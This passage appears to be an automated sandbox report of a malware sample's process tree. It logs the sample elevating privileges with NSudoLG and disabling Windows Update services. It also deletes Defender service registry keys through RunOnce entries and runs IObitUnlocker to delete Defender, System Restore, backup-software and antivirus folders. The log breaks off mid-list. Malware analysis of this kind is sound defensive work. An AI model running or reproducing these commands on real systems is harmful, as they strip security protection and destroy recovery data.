        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JJHXWnR.bat" "
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4408
      - C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
        
        nircmd win min process "cmd.exe"
        6⤵
        Executes dropped EXE
        
        PID:1744
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        
        PID:3780
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKU\S-1-5-19"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5088
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
        6⤵
        Modifies data under HKEY_USERS
        
        PID:2968
      - C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
        
        NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\JJHXWnR.bat" any_word
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4856
      - C:\Windows\SysWOW64\mode.com
        
        Mode 79,49
        6⤵
        
        PID:3288
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ver
        6⤵
        Executes a command shell one-liner
        
        PID:4200
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2108
      - C:\Windows\SysWOW64\find.exe
        
        find /i "0x0"
        6⤵
        
        PID:4284
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1880
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2936
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
        6⤵
        
        PID:5072
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2152
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:536
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\Sense"
        6⤵
        
        PID:2992
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4888
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
        6⤵
        
        PID:2760
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2308
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
        6⤵
        
        PID:4572
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
        6⤵
        
        PID:224
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
        6⤵
        
        PID:3760
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5040
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4976
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
        6⤵
        
        PID:1244
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
        6⤵
        
        PID:4512
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4700
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1172
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ver "
        6⤵
        
        PID:4988
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /c:"6.1.7601"
        6⤵
        
        PID:4504
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3016
      - C:\Windows\SysWOW64\find.exe
        
        find /i "Windows 7"
        6⤵
        
        PID:532
      - C:\Windows\SysWOW64\reg.exe
        
        reg query HKLM\System\CurrentControlset\Services\WdFilter
        6⤵
        Modifies registry key
        
        PID:2068
      - C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
        
        7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2884
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game.exe /CurrentDiskSize
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:1696
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:2156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4612"
        7⤵
        Executes a command shell one-liner
        
        PID:2192
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "4612"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5076
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:5108
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:544
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:4624
      - C:\Windows\SysWOW64\sc.exe
        
        sc config dosvc start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1516
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:2188
      - C:\Windows\SysWOW64\sc.exe
        
        sc config bits start= disabled
        6⤵
        Launches sc.exe
        
        PID:612
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4076
      - C:\Windows\SysWOW64\sc.exe
        
        sc config UsoSvc start= disabled
        6⤵
        Launches sc.exe
        
        PID:2108
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:4284
      - C:\Windows\SysWOW64\sc.exe
        
        sc config WaaSMedicSvc start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3916
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3900
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3836
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4368
      - C:\Windows\SysWOW64\reg.exe
        
        reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5044
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
        6⤵
        
        PID:3308
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
        6⤵
        
        PID:1492
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
        6⤵
        
        PID:3536
      - C:\Windows\SysWOW64\reg.exe
        
        reg unload HKLM\TEMP_SYSTEM
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4456
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game /delwd
        6⤵
        Sets service image path in registry
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:1216
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5040
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:1756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:988
        
        C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:2224
        
        C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:5116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4476"
        7⤵
        Executes a command shell one-liner
        
        PID:4796
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "4476"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3864
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game /DelWD
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1780
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:4032
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:1016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1780"
        7⤵
        Executes a command shell one-liner
        
        PID:3636
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "1780"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4624
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
        6⤵
        System Location Discovery: System Language Discovery
        Modifies data under HKEY_USERS
        
        PID:3004
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1304
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
        6⤵
        
        PID:4232
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JJHXWnR.bat" "
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2976
      - C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
        
        nircmd win min process "cmd.exe"
        6⤵
        Executes dropped EXE
        
        PID:4400
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        
        PID:4260
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKU\S-1-5-19"
        6⤵
        
        PID:4860
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
        6⤵
        System Location Discovery: System Language Discovery
        Modifies data under HKEY_USERS
        
        PID:1892
      - C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
        
        NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\JJHXWnR.bat" any_word
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3004
      - C:\Windows\SysWOW64\mode.com
        
        Mode 79,49
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3304
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ver
        6⤵
        Executes a command shell one-liner
        
        PID:612
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
        6⤵
        
        PID:448
      - C:\Windows\SysWOW64\find.exe
        
        find /i "0x0"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1664
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4348
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:3968
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
        6⤵
        
        PID:1944
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
        6⤵
        
        PID:5044
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
        6⤵
        
        PID:2372
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\Sense"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:840
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
        6⤵
        
        PID:2184
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2352
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
        6⤵
        
        PID:1000
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2672
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3548
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
        6⤵
        
        PID:1100
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
        6⤵
        
        PID:3100
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:116
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
        6⤵
        
        PID:212
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1392
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
        6⤵
        
        PID:4128
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2736
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ver "
        6⤵
        
        PID:1832
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /c:"6.1.7601"
        6⤵
        
        PID:3908
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
        6⤵
        
        PID:3260
      - C:\Windows\SysWOW64\find.exe
        
        find /i "Windows 7"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3720
      - C:\Windows\SysWOW64\reg.exe
        
        reg query HKLM\System\CurrentControlset\Services\WdFilter
        6⤵
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:1188
      - C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
        
        7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3628
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game.exe /CurrentDiskSize
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:428
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:3024
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:1752
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "428"
        7⤵
        Executes a command shell one-liner
        
        PID:1040
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "428"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1800
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3636
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4136
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4692
      - C:\Windows\SysWOW64\sc.exe
        
        sc config dosvc start= disabled
        6⤵
        Launches sc.exe
        
        PID:4060
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4372
      - C:\Windows\SysWOW64\sc.exe
        
        sc config bits start= disabled
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1836
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:3304
      - C:\Windows\SysWOW64\sc.exe
        
        sc config UsoSvc start= disabled
        6⤵
        Launches sc.exe
        
        PID:1452
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:448
      - C:\Windows\SysWOW64\sc.exe
        
        sc config WaaSMedicSvc start= disabled
        6⤵
        Launches sc.exe
        
        PID:3696
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3948
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4664
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
        6⤵
        
        PID:2936
      - C:\Windows\SysWOW64\reg.exe
        
        reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4352
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
        6⤵
        
        PID:1500
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
        6⤵
        
        PID:2780
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:668
      - C:\Windows\SysWOW64\reg.exe
        
        reg unload HKLM\TEMP_SYSTEM
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2672
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game /delwd
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4412
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:2008
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:2860
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4412"
        7⤵
        Executes a command shell one-liner
        
        PID:2068
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "4412"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3504
      - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
        
        game /DelWD
        6⤵
        Sets service image path in registry
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1824
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
        7⤵
        Executes a command shell one-liner
        
        PID:1432
        
        C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        8⤵
        Launches sc.exe
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program 